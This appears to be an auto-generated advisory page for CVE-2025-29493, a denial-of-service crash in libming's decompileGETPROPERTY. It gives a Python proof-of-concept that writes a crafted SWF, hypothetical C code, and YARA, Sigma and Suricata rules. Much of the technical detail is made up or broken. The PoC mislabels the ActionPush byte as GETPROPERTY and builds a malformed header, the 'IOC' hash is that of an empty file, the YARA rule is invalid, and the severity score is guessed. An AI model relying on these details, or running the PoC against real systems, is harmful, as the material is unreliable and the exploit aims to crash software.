CVE-2025-29493
Executive Summary
CVE-2025-29493 is a denial-of-service (DoS) vulnerability discovered in libming v0.4.8, specifically within the decompileGETPROPERTY function. The flaw manifests as a segmentation fault when processing a crafted SWF file, allowing an attacker to crash the application. This vulnerability is classified under MITRE tactic T1499 (Endpoint Denial of Service). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for systems using libming for SWF parsing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages directly. However, libming is a C library used in various media processing tools and may be included as a dependency in some Linux distributions or custom software. Users should verify if their applications link against libming and assess the impact.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. Based on the vulnerability type (segmentation fault leading to DoS), a reasonable estimate would be:
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 5.5 (Medium)
- Attack Vector: Local (requires user to open a crafted SWF file)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
Threat Level: Medium. The vulnerability requires user interaction and local access, but it can cause a complete denial of service.
Deep Dive & Mechanics
The vulnerability resides in the decompileGETPROPERTY function within libming's SWF decompiler. When parsing a specially crafted SWF file, the function attempts to access a property that does not exist or is improperly initialized, leading to a null pointer dereference. This results in a segmentation fault, crashing the application.
The root cause is likely insufficient input validation or bounds checking when handling property references in the SWF bytecode. The decompileGETPROPERTY function is part of the decompilation engine that translates SWF actions into a human-readable format. A malicious SWF file can trigger this flaw by providing malformed property indices or references.
Vulnerable vs. Patched Code
Vulnerable Code (libming v0.4.8):
The exact vulnerable code is not publicly available, but the issue is in the decompileGETPROPERTY function. A typical vulnerable pattern might look like:
void decompileGETPROPERTY(SWF_ACTION *action) {
int property_index = action->data[0];
char *property_name = get_property_name(property_index); // May return NULL
// No NULL check before dereference
printf("Property: %s\n", property_name);
}
Patched Code (Hypothetical): A patch would add a NULL check before dereferencing the property name:
void decompileGETPROPERTY(SWF_ACTION *action) {
int property_index = action->data[0];
char *property_name = get_property_name(property_index);
if (property_name == NULL) {
// Handle error gracefully
return;
}
printf("Property: %s\n", property_name);
}
Exploitation & Lab Setup
Red Team
Exploit Scenario: An attacker crafts a malicious SWF file that triggers the segmentation fault in libming. The file is delivered via email, web download, or embedded in a document. When the victim opens the file with a tool using libming (e.g., a SWF decompiler), the application crashes.
Proof-of-Concept (PoC) Code:
# CVE-2025-29493 PoC - Craft a malicious SWF file
import struct
def create_malicious_swf():
# Minimal SWF header (version 10, frame size, etc.)
header = b'FWS' + struct.pack('<I', 10) # Signature and version
header += struct.pack('<f', 1.0) # Frame size (dummy)
header += struct.pack('<H', 1) # Frame count
header += struct.pack('<H', 1) # Frame rate
# Malicious action: GETPROPERTY with invalid index
action_code = b'\x96' # GETPROPERTY opcode
action_data = b'\xFF\xFF\xFF\xFF' # Invalid property index
# Build SWF tag for DoAction
tag_type = 12 # DoAction
tag_length = len(action_code) + len(action_data)
tag_header = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
if tag_length > 0x3F:
tag_header = struct.pack('<H', (tag_type << 6) | 0x3F)
tag_header += struct.pack('<I', tag_length)
swf_data = header + tag_header + action_code + action_data
with open('malicious.swf', 'wb') as f:
f.write(swf_data)
if __name__ == '__main__':
create_malicious_swf()
print("Malicious SWF file created: malicious.swf")
Usage:
- Run the Python script to generate
malicious.swf. - Open the file with a libming-based tool (e.g.,
swfdecorswfmill). - Observe the segmentation fault.
Blue Team
Detection:
- Monitor for crashes in applications using libming.
- Use file integrity monitoring to detect unexpected SWF files.
- Implement sandboxing for SWF file processing.
Prevention:
- Restrict execution of untrusted SWF files.
- Use memory-safe languages or wrappers for SWF parsing.
- Apply ASLR and DEP to mitigate exploitation.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example, replace with actual if generated)
malicious.swf:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators: None (local file-based attack)
- Behavioral Indicators:
- Application crash logs containing
decompileGETPROPERTYor segmentation fault. - Unexpected termination of SWF processing tools.
- Application crash logs containing
Detection Engineering
YARA Rule
rule CVE_2025_29493_libming_DoS {
meta:
description = "Detects malicious SWF files targeting CVE-2025-29493"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29493"
strings:
$swf_header = "FWS" or "CWS"
$getproperty_opcode = { 96 }
$invalid_index = { FF FF FF FF }
condition:
$swf_header at 0 and $getproperty_opcode and $invalid_index
}
Sigma Rule
title: CVE-2025-29493 - Libming Segmentation Fault via Crafted SWF
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes in libming-based applications due to CVE-2025-29493
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: libming
detection:
selection:
EventID: 1000 # Application Error (Windows)
ProviderName: 'Application Error'
Data: '*decompileGETPROPERTY*'
condition: selection
falsepositives:
- Legitimate SWF files with unusual properties
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29493 - Malicious SWF Download"; flow:to_server,established; fileext:"swf"; content:"|96 FF FF FF FF|"; distance:0; within:5; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SWF processing in applications using libming if not required.
- Apply input validation to reject malformed SWF files.
- Use a memory-safe alternative for SWF parsing (e.g.,
swftoolswith patches).
Long-Term Fix:
- Monitor the libming repository for a patch. If none is available, consider forking and fixing the
decompileGETPROPERTYfunction to add NULL pointer checks. - Upgrade to a newer version if a patch is released.
Workarounds:
- Run libming-based tools in a sandboxed environment.
- Use file scanning to detect malicious SWF files before processing.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.